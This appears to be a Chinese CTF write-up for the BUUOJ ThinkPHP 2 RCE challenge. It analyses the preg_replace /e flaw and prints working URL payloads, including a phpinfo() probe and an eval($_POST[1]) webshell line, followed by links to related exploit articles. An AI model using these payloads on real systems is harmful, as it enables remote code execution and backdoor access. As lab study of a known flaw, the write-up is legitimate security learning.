[ThinkPHP]2-Rce buuoj
[ThinkPHP]2-Rce

进来是这个页面

构造路径。

好,构造正确,但是服务器拦截了对该操作的访问

打开提示网站,看到关键信息

分析正则
老版本的正则可以用 ’@‘符号表示模式。以下正则是模式e
preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
看第一个括号,表示匹配任意字符串。并将变量向后引用到位置1
$depr 变量默认是'/'
$paths 变量是提交的url路径
看第二个括号,表示匹配除'/'以外的字符,再匹配一个字符 '/'。并将变量向后引用到位置2

所以,最后匹配后得到的内容就是
$var[任意字符串1] = 任意字符串2 + /
注意位置2用了双引号闭合,而双引号闭合是可以解析变量的。这就是漏洞所在
代码审计
由于tp2测试环境搭建麻烦,php版本也没有对于的xdebug。只能用docker环境, 然后看变量就将其输出到文件夹。
定位到漏洞代码位置,加上一行测试代码,查看正则后的$var变量

file_put_contents('/var/www/html/test.txt', print_r($var, true).'\n', FILE_APPEND | LOCK_EX);
一番docker简单替换文件后,只要我们带着路径访问就可以得到一个test.txt文件。

于是在'iam'的位置构造payload。因为这里用了双引号。
/index.php/Index/index/yes/${phpinfo()}

php一个特性。${a} = $a,如果a是一个变量,则会在双引号下会解释这个变量。如果花括号里面是代码,会将其运行。得到的结果当成变量名。由于phpinfo没有返回值。所以为yes对应的值为空。

phpinfo是会向屏幕输出,但没有返回值。或者说是返回空值。
至此漏洞就清晰明了了。
最后构造一句话payload,记得添加eval代码。不然只是接受你的参数,但无法执行
http://node4.buuoj.cn:27489/index.php/Index/index/yes/${@eval($_POST[1])}
用数字型一句话密码是因为字符串型要用引号,而目标有魔术引号转义

以为flag是个文件,找啊找。最后小丑竟是我自己!

[ThinkPHP]2-Rce buuoj的更多相关文章
- Thinkphp 缓存RCE
5.0.0<=ThinkPHP5<=5.0.10 . 漏洞利用条件: 1.基于tp5开发的代码中使用了Cache::set 进行缓存 2.在利用版本范围内 3.runtime目录可以 ...
- Thinkphp5 RCE总结
thinkphp5最出名的就是rce,我先总结rce,rce有两个大版本的分别 ThinkPHP 5.0-5.0.24 ThinkPHP 5.1.0-5.1.30 因为漏洞触发点和版本的不同,导致pa ...
- 【XXE学习】XML外部实体注入
一.XML外部实体注入介绍 1.1 XXE简介 XML外部实体注入(XML External Entity Injection)也就是人们(mian shi guan )常说的XXE啦,见名知意,就是 ...
- thinkphp 5.1框架利用及rce分析
前言 上个学期钻研web渗透的时候接触过几个tp的框架,但那时候还没有写blog的习惯,也没有记录下来,昨天在做ctf的时候正好碰到了一个tp的框架,想起来就复现一下 正文 进入网站,标准笑脸,老tp ...
- [BUUOJ记录] [极客大挑战 2019]RCE ME
前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...
- ThinkPHP 5.0.24 反序列化RCE (Windows下EXP)
直接上exp吧,Windows下. <?php namespace think\process\pipes; class Windows { private $files = []; publi ...
- [BUUOJ记录] [GYCTF]EasyThinking
主要考察ThinkPHP6.0的一个任意文件写入的CVE以及突破disable_function的方法. ThinkPHP6.0.0任意文件操作漏洞 理论分析 进入题目是一个简单的操作页面,dirma ...
- [BUUOJ记录] [BJDCTF 2nd]old-hack & Schrödinger & elementmaster
三道比较简单的的题放一起一写,old-hack是ThinkPHP框架的一个nday,Schrödinger和elementmaster没啥考点,就是脑洞 一.old-hack 进入题目没发现什么Hi ...
- thinkphp历史漏洞
https://github.com/pochubs/pochubs/blob/master/ThinkPHP.md tp 历史漏洞 路由控制類RCE/think/App.php if (!preg_ ...
随机推荐
- BadImageFormatException异常
访问页面时,抛出BadImageFormatException异常: 1.如果您的应用程序使用了 32 位组件,请确保该应用程序始终采用 32 位应用程序的运行方式. 如果应用程序项目的"平 ...
- 使用tc配置后端设备,来限制虚拟机网卡带宽
如果通过tc来限制虚拟机网卡接收方向带宽呢,实际上使用tc对接收方向限制的不够好,使用tc ingress可以限制接收,但是功能不够多,而且会形成丢包问题.一般是采用将流量重定向到一个虚拟设备ifb上 ...
- 有标号DAG计数(生成函数)
有标号DAG计数(生成函数) luogu 题解时间 首先考虑暴力,很容易得出 $ f[ i ] = \sum\limits_{ j = 1 }^{ i } ( -1 )^{ j - 1 } \bino ...
- flexible如何实现自动判断dpr?
判断机型, 找出样本机型去适配. 比如iphone以6为样本, 宽度375px, dpr是2
- Mysql之锁(二)
1.查看锁 SELECT * FROM INFORMATION_SCHEMA.INNODB_TRX; -- 记录当前运行的事务 SELECT * FROM INFORMATION_SCHEMA.INN ...
- 对原型链的理解?prototype上都有哪些属性?
在js里,继承机制是原型继承.继承的起点是 对象的原型(Object prototype). 一切皆为对象,只要是对象,就会有 proto 属性,该属性存储了指向其构造的指针. Object prot ...
- Oracle入门基础(十一)一一PL/SQL基本语法
1.打印Hello World declare --说明部分 begin --程序 dbms_output.put_line('Hello World'); end; 2.引用型变量 查询并打印783 ...
- 怎么将 byte 转换为 String?
可以使用 String 接收 byte[] 参数的构造器来进行转换,需要注意的点是要使用 的正确的编码,否则会使用平台默认编码,这个编码可能跟原来的编码相同,也 可能不同.
- 学习zabbix(三)
前言: 学习zabbix之前,不得不了解的是SNMP协议 SNMP:简单网络管理协议(Simple Network Protocol) Snmp由两部分组成,监控端和被监控端 监控模式: 主动模式:N ...
- Netty学习摘记 —— 再谈引导
本文参考 本篇文章是对<Netty In Action>一书第八章"引导"的学习摘记,主要内容为引导客户端和服务端.从channel内引导客户端.添加ChannelHa ...